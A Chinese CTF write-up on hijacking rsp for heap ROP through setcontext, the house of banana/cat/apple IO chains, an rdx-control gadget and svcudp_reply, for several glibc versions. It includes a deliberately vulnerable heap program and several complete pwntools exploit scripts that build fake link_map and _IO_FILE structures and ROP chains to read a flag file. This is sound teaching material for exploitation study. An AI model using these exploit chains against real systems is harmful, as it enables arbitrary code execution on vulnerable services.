0x00 在堆中进行ROP,难点就在于劫持rsp寄存器不像在栈中那么天然的容易做到 通过泄露栈地址来控制栈在前文 叙述过,现分析一下在堆中劫持rsp的其他方法
0x01 利用 setcontext setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针(定义是 ucontext_t结构体),然后根据 SigreturnFrame 的内容设置各种寄存器(与SROP非常类似)。 因此从 setcontext+53(不同 libc 版本偏移可能不同)的位置开始有如下 gadget,即根据 rdi 指向的 SigreturnFrame 结构设置寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //glibc2.27 0x7ffff7852085 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0] 0x7ffff785208c <setcontext+60> mov rbx, qword ptr [rdi + 0x80] 0x7ffff7852093 <setcontext+67> mov rbp, qword ptr [rdi + 0x78] 0x7ffff7852097 <setcontext+71> mov r12, qword ptr [rdi + 0x48] 0x7ffff785209b <setcontext+75> mov r13, qword ptr [rdi + 0x50] 0x7ffff785209f <setcontext+79> mov r14, qword ptr [rdi + 0x58] 0x7ffff78520a3 <setcontext+83> mov r15, qword ptr [rdi + 0x60] 0x7ffff78520a7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8] 0x7ffff78520ae <setcontext+94> push rcx 0x7ffff78520af <setcontext+95> mov rsi, qword ptr [rdi + 0x70] 0x7ffff78520b3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88] 0x7ffff78520ba <setcontext+106> mov rcx, qword ptr [rdi + 0x98] 0x7ffff78520c1 <setcontext+113> mov r8, qword ptr [rdi + 0x28] 0x7ffff78520c5 <setcontext+117> mov r9, qword ptr [rdi + 0x30] 0x7ffff78520c9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68] 0x7ffff78520cd <setcontext+125> xor eax, eax EAX => 0 0x7ffff78520cf <setcontext+127> ret
可能会有疑惑没有对rip的控制,其实这里的push rcx结合上后续的ret就是在给rip赋值 以及需要注意的是在glibc2.29及以上,传入的 SigreturnFrame 结构指针不使用rdi,而是改为了rdx,这需要我们寻找到可以控制rdx的gadget。在glibc2.31,偏移从setcontext+53变为了setcontext+61 一般对setcontext的利用都是在堆攻击中,一般是两个打法:一是直接打ROP,二是利用mprotect再打一个shellcode 值得一提的是,在高版本的house系列攻击中也可以结合setcontext,尽管rdx不好控制,以house of banana和house of cat为例,其的攻击链中存在控制rdx的方法
house-of-banana-orw 在house of banana中,我们劫持fini_array,在这个过程中
1 2 while (i-- > 0 ) ((fini_t ) array [i]) ();
这里每次调用的函数指针都为上一个的地址减8(也就是逆序遍历),直到最后调用函数指针的基地址array,而每一次调用函数指针,其rdx均为上一次调用的函数指针的地址,而在house of banana攻击中,这个函数指针地址都是被我们劫持的堆地址,那么这里的rdx也就变成了我们布置函数的堆地址。(在glibc2.29+有效)
这样一来,我们布置函数时候,先布置setcontext相关的gadget,再布置一个ret,然后通过l_info[DT_FINI_ARRAYSZ]设置好i为2,那么逆序遍历,先执行ret,执行完后rdx也就被设置成了我们布置这个ret的堆地址,我们在这里布置好sigFrame(其实需要我们根据setcontext+53中控制寄存器所需的偏移来布置数据),接下来执行setcontext+53,那么也就可以实现类似SROP的效果,劫持几乎所有寄存器 我们控制rsp指向我们布置ROP_chain的起始地址,控制rcx为ret,这样也就启动了ROP链;这里也可以实现一个类似shellcode中二次读的操作,就是控制rcx为read,控制rsp为读入的起始地址,然后读入一个ROP_chain,read结束返回后也就执行了ROP;又或者是直接设置好寄存器然后控制rcx为open,可以缩短后续的ropchain实操一下 ,还是用分析hosue of banana时候板子题,只不过编译到glibc2.31,我们起个ubuntu20.04的docker编译一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #include <stdio.h> #include <unistd.h> #define num 10 void *chunk_list[num];int chunk_size[num];void init () { setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); } void menu () { puts ("1.add" ); puts ("2.show" ); puts ("3.edit" ); puts ("4.delete" ); puts ("5.exit" ); puts ("Your choice:" ); } int add () { int index,size; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("Size:" ); scanf ("%d" ,&size); if (size<0x80 ||size>0x500 ) exit (1 ); chunk_list[index] = calloc (size,1 ); chunk_size[index] = size; } int edit () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); read(0 ,chunk_list[index],chunk_size[index]); } int delete () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); free (chunk_list[index]); } int show () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); puts (chunk_list[index]); } int main () { int choice; init(); while (1 ){ menu(); scanf ("%d" ,&choice); if (choice==5 ){ exit (0 ); } else if (choice==1 ){ add(); } else if (choice==2 ){ show(); } else if (choice==3 ){ edit(); } else if (choice==4 ){ delete(); } } }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def add (index,size ): io.sendlineafter('Your choice:\n' , str (1 )) io.sendlineafter('index:\n' , str (index)) io.sendlineafter("Size:\n" , str (size)) def show (index ): io.sendlineafter('Your choice:\n' , str (2 )) io.sendlineafter('index:\n' , str (index)) def edit (index, content ): io.sendlineafter('Your choice:\n' , str (3 )) io.sendlineafter('index:\n' , str (index)) io.sendafter("context: \n" ,content) def free (index ): io.sendlineafter('Your choice:\n' , str (4 )) io.sendlineafter('index:\n' , str (index)) def pwn () : add(0 , 0x428 ) add(1 , 0x500 ) add(2 , 0x418 ) free(0 ) show(0 ) io.recvuntil('context: \n' ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 96 - 0x1ecb80 add(3 , 0x500 ) edit(0 , b'a' *0x10 ) show(0 ) io.recvuntil(b'a' *0x10 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x290 log.info("libc_base --> " +hex (libc_base)) log.info("heap_base --> " +hex (heap_base)) rtld_global = libc_base + 0x228060 open = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x23b6a pop_rsi_ret = libc_base + 0x2601f pop_rdx_r12_ret = libc_base + 0x119431 setcontext = libc_base + libc.sym['setcontext' ] ret = libc_base + 0x22679 free(2 ) edit(0 , b'a' *0x18 + p64(rtld_global-0x20 )) add(4 , 0x500 ) chunk_addr = heap_base + 0xbd0 log.info("chunk_addr --> " +hex (chunk_addr)) link_map = p64(0 ) link_map = link_map.ljust(0x18 - 0x10 , b'\x00' ) + p64(libc_base + 0x229740 ) link_map = link_map.ljust(0x28 - 0x10 , b'\x00' ) + p64(chunk_addr) link_map = link_map.ljust(0x40 - 0x10 , b'\x00' ) + p64(0x1a ) + p64(chunk_addr + 0x1f8 ) link_map = link_map.ljust(0x60 - 0x10 , b'\x00' ) + p64(0x1c ) + p64(0x10 ) link_map = link_map.ljust(0x110 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x40 ) link_map = link_map.ljust(0x120 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x60 ) link_map = link_map.ljust(0x1f8 - 0x10 , b'\x00' ) + p64(setcontext+61 ) + p64(ret) link_map = link_map.ljust(0x200 - 0x10 + 0x68 , b'\x00' ) + p64(chunk_addr + 0x330 ) link_map = link_map.ljust(0x200 - 0x10 + 0x70 , b'\x00' ) + p64(0 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa0 , b'\x00' ) + p64(chunk_addr + 0x350 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa8 , b'\x00' ) + p64(open ) link_map = link_map.ljust(0x31c - 0x10 , b'\x00' ) + p8(0x8 ) link_map = link_map.ljust(0x330 - 0x10 , b'\x00' ) + b'flag\x00\x00\x00\x00' ropchain = p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + \ p64(chunk_addr + 0x450 ) + p64(pop_rdx_r12_ret) + \ p64(0x30 ) + p64(0 ) + p64(read) + p64(pop_rdi_ret) + \ p64(1 ) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450 ) + \ p64(pop_rdx_r12_ret) + p64(0x30 ) + p64(0 ) + p64(write) link_map = link_map.ljust(0x350 - 0x10 , b'\x00' ) + ropchain edit(2 , link_map) while True : try : io = start() pwn() io.sendlineafter('Your choice:\n' , str (5 ).encode()) io.interactive() break except : io.close() continue
house-of-cat-orw 在house of cat攻击链中,通过_IO_switch_to_wget_mode来调用_wide_vtable中的函数,其汇编
1 2 3 4 5 6 7 8 9 10 11 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
这里最初的rdi即为传入的_IO_FILE_plus结构体,那么显然我们可以利用伪造的IO来控制rdx,那么也可以打setcontext 例题为强网杯2025 bhp ,这里就不放题目代码(见这里 ) 任意地址写\x00,写stdin的_IO_buf_base实现改写stdin,再修改_IO_buf_base和_IO_buf_end实现任意地址写,最后结合setcontext打ROP exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x1810) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() io.recvuntil(b'token: ' ) io.send(b'a' *0x28 ) io.recvuntil(b'a' *0x28 ) leak_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = leak_addr - 0xaddae log.info("libc_base --> " +hex (libc_base)) target = libc_base + libc.sym['_IO_2_1_stdin_' ] + 7 *8 + 1 io.sendlineafter(b'Choice:' , b'1' ) io.sendlineafter(b'Size:' , str (target).encode()) io.sendlineafter(b'Content:' , b'' ) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] io.sendafter(b"Choice:" , b'a' *0x18 + p64(stdout)+ p64(stdout + 0x1000 )) pop_rdi_ret = libc_base + 0x10f78b ret = pop_rdi_ret + 1 fake_IO_addr = stdout fake_IO = b'./flag' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x10 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym['setcontext' ] + 61 ) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(libc_base + 0x205710 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0x10 + 0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x118 ) + p64(ret) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] pop_rsi_ret = libc_base + 0x110a7d pop_rdx_ret = libc_base + 0xab8a1 pop_rcx_ret = libc_base + 0xa877e set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100 ) + p64(pop_rdx_ret) + p64(0x100 ) ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + set_rdx + p64(read_addr) +\ p64(pop_rdi_ret) + p64(2 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(write_addr) io.sendafter(b'Choice:' , fake_IO + ropchain) io.interactive()
在其他 IO 攻击中,如果能控制rdx的话,也能利用setcontext打ROP
house-of-apple-orw 在 house of apple 的调用链中, _IO_wfile_overflow 调用 _IO_wdoallocbuf时候
1 2 3 4 5 ► 0x7165754863b0 <_IO_wfile_overflow+32> mov rdx, qword ptr [rdi + 0xa0] RDX, [0x621fc60eaf80] => 0x621fc60eafe0 ◂— 0 0x7165754863b7 <_IO_wfile_overflow+39> cmp qword ptr [rdx + 0x18], 0 0 - 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ] 0x7165754863bc <_IO_wfile_overflow+44> ✔ je _IO_wfile_overflow+608 <_IO_wfile_overflow+608> ↓ 0x7165754865f0 <_IO_wfile_overflow+608> call _IO_wdoallocbuf <_IO_wdoallocbuf>
如上所示,mov rdx, qword ptr [rdi + 0xa0],此处 rdi 是 IO 结构体,根据偏移,rdx 就是_wide_data 成员。那么也就可以控制 rdx。
以 whuctf2026 的 ezprotobuf 为例。
uaf ,打 tcache posion 来改写 _IO_list_all,这样就比 largebin attack 要方便,可以改为任意地址, 只要改为某个chunk_addr+0x10,就不至于像原来一样不便于控制 fake_IO 的起始 0x10 的数据。
在题目有输出函数的情况下,house of cat 打 stdout 是很便利的,但在某些特殊情况下没有输出函数(就例如此题)但是有 exit,自然打 house of apple2 更方便。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 from pwn import *import chall_pb2context(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['/mnt/c/Users/H/AppData/Local/Microsoft/WindowsApps/wt.exe' , 'wsl' ] filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b exit set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6-dbg_2.35-0ubuntu3.13_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() def add (idx, size, data = b'\n' ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_ADD msg.idx = idx msg.size = size msg.data = data io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("add" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def free (idx ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_DEL msg.idx = idx io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("free" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def edit (idx, data = b"" ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_EDIT msg.idx = idx msg.size = len (data) msg.data = data io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("edit" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def show (idx ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_SHOW msg.idx = idx io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("show" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) return body def _exit (): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_QUIT io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("exit" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) add(0 , 0x420 ) add(1 , 0x100 ) add(2 , 0x100 ) free(0 ) libc_base = u64(show(0 )[14 :22 ]) - 0x21b2f0 log.success("libc_base --> " +hex (libc_base)) free(1 ) show(1 ) heap_base = (u64(show(1 )[14 :19 ].ljust(8 , b'\x00' )) << 12 ) - 0x12000 log.success("heap_base --> " +hex (heap_base)) add(10 , 0x420 ) target = libc_base + libc.sym["_IO_list_all" ] open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] stdout = libc_base + libc.sym["_IO_2_1_stdout_" ] io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps' ] pop_rdi_ret = libc_base + 0x2a3e5 ret = pop_rdi_ret + 1 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_ret = libc_base + 0x11f367 setcontext = libc_base + libc.sym["setcontext" ] + 61 chunk_addr = heap_base + 0x20ed0 + 0x10 ropchain = p64(pop_rdi_ret) + p64(chunk_addr + 0x300 - 0x10 ) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(pop_rdx_ret) + p64(0x100 )*2 + p64(read_addr) +\ p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(write_addr) fake_IO_file = p32(0xfbadf7f5 ) fake_IO_file = fake_IO_file.ljust(0x10 , b'\x00' ) + p64(0 ) * 2 + p64(1 ) + p64(2 ) fake_IO_file = fake_IO_file.ljust(0xa0 , b'\x00' ) + p64(chunk_addr + 0x100 ) fake_IO_file = fake_IO_file.ljust(0xc0 , b'\x00' ) + p64(0xffffffffffffffff ) fake_IO_file = fake_IO_file.ljust(0xd8 , b'\x00' ) + p64(io_wfile_jumps) fake_IO_file = fake_IO_file.ljust(0x100 + 0xa0 , b'\x00' ) + p64(chunk_addr + 0x300 ) + p64(ret) fake_IO_file = fake_IO_file.ljust(0x100 + 0xe0 , b'\x00' ) + p64(chunk_addr + 0x200 ) fake_IO_file = fake_IO_file.ljust(0x200 , b'\x00' ) + p64(0 ) * 13 + p64(setcontext) fake_IO_file = fake_IO_file.ljust(0x300 - 0x10 , b'\x00' ) + b'./flag\x00' fake_IO_file = fake_IO_file.ljust(0x300 , b'\x00' ) + ropchain add(3 , 0x3b0 ) add(4 , 0x3b0 ) free(4 ) free(3 ) edit(3 , p64(((heap_base+0x20000 )>>12 )^target)) add(5 , 0x3b0 , fake_IO_file) add(6 , 0x3b0 , p64(chunk_addr)) _exit() io.interactive()
gadget-to-control-rdx 然而house of banana攻击链中这种汇编指令级别的控制rdx的方法并不稳定,在高版本(哪个版本仍待考证)也许就不行了,那么找到一个可以控制rdx的gadget是有必要的,如果能转换rdi与rdx,那么 house of apple2 或者 house of cat中利用 setcontext来打 orw 会更加泛用
1 2 3 mov rdx, qword ptr [rdi + 8] mov qword ptr [rsp], rax call qword ptr [rdx + 0x20]
例如上面的 gadget,可以通过 rdi 来控制 rdx,并且 call 的地址也可控,对于像house of apple2这样只能劫持一次执行的攻击,执行流就不会断掉,也就可以 call setcontext来进行ROP了。
仍然以 whuctf2026 的 ezprotobuf 为例,此时利用上面的 gadget 打 setcontext。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 from pwn import *import chall_pb2context(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ['/mnt/c/Users/H/AppData/Local/Microsoft/WindowsApps/wt.exe' , 'wsl' ] filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6-dbg_2.35-0ubuntu3.13_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() def add (idx, size, data = b'\n' ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_ADD msg.idx = idx msg.size = size msg.data = data io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("add" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def free (idx ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_DEL msg.idx = idx io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("free" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def edit (idx, data = b"" ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_EDIT msg.idx = idx msg.size = len (data) msg.data = data io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("edit" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) def show (idx ): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_SHOW msg.idx = idx io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("show" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) return body def _exit (): msg = chall_pb2.Request() msg.op = chall_pb2.Op.OP_QUIT io.send(msg.SerializeToString()) body = io.recv() resp = chall_pb2.Response() resp.ParseFromString(body) log.success("exit" ) log.info(f"ok: {resp.ok} , msg: {resp.msg} , data: {resp.data} " ) add(0 , 0x420 ) add(1 , 0x100 ) add(2 , 0x100 ) free(0 ) libc_base = u64(show(0 )[14 :22 ]) - 0x21b2f0 log.success("libc_base --> " +hex (libc_base)) free(1 ) show(1 ) heap_base = (u64(show(1 )[14 :19 ].ljust(8 , b'\x00' )) << 12 ) - 0x12000 log.success("heap_base --> " +hex (heap_base)) add(10 , 0x420 ) target = libc_base + libc.sym["_IO_list_all" ] open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] stdout = libc_base + libc.sym["_IO_2_1_stdout_" ] io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps' ] pop_rdi_ret = libc_base + 0x2a3e5 ret = pop_rdi_ret + 1 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_ret = libc_base + 0x11f367 setcontext = libc_base + libc.sym["setcontext" ] + 61 magic_gadget = libc_base + 0x1674d0 chunk_addr = heap_base + 0x20ed0 + 0x10 ropchain = p64(pop_rdi_ret) + p64(chunk_addr + 0x300 - 0x10 ) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(pop_rdx_ret) + p64(0x100 )*2 + p64(read_addr) +\ p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(write_addr) fake_IO_file = p32(0xfbadf7f5 ) fake_IO_file = fake_IO_file.ljust(0x8 , b'\x00' ) + p64(chunk_addr + 0x100 ) + p64(0 ) * 2 + p64(1 ) + p64(2 ) fake_IO_file = fake_IO_file.ljust(0xa0 , b'\x00' ) + p64(chunk_addr + 0x100 ) fake_IO_file = fake_IO_file.ljust(0xc0 , b'\x00' ) + p64(0xffffffffffffffff ) fake_IO_file = fake_IO_file.ljust(0xd8 , b'\x00' ) + p64(io_wfile_jumps) fake_IO_file = fake_IO_file.ljust(0x100 + 0x20 , b'\x00' ) + p64(setcontext) fake_IO_file = fake_IO_file.ljust(0x100 + 0xa0 , b'\x00' ) + p64(chunk_addr + 0x300 ) + p64(ret) fake_IO_file = fake_IO_file.ljust(0x100 + 0xe0 , b'\x00' ) + p64(chunk_addr + 0x200 ) fake_IO_file = fake_IO_file.ljust(0x200 , b'\x00' ) + p64(0 ) * 13 + p64(magic_gadget) fake_IO_file = fake_IO_file.ljust(0x300 - 0x10 , b'\x00' ) + b'./flag\x00' fake_IO_file = fake_IO_file.ljust(0x300 , b'\x00' ) + ropchain add(3 , 0x3b0 ) add(4 , 0x3b0 ) free(4 ) free(3 ) edit(3 , p64(((heap_base+0x20000 )>>12 )^target)) add(5 , 0x3b0 , fake_IO_file) add(6 , 0x3b0 , p64(chunk_addr)) _exit() io.interactive()
类似的 magic_gadget 可以用 ROPgadget 来找
1 ROPgadget --binary ./libc.so.6 --only "mov|call"
0x02 利用 svcudp_reply 1 2 3 4 5 6 <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] <svcudp_reply+34>: lea r13,[rbp+0x10] <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 <svcudp_reply+45>: mov rdi,r13 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
在libc.sym['svcudp_reply']+26处有这样的gadget,可以通过rdi来控制rbp,从而控制rax,进而可以控制程序执行到leave;ret实现栈迁移也就劫持了rsp,那么就可以进行ROP了。对于house of apple2而言是进行ROP的利器 以ciscn2023 strangetalkbot 为例
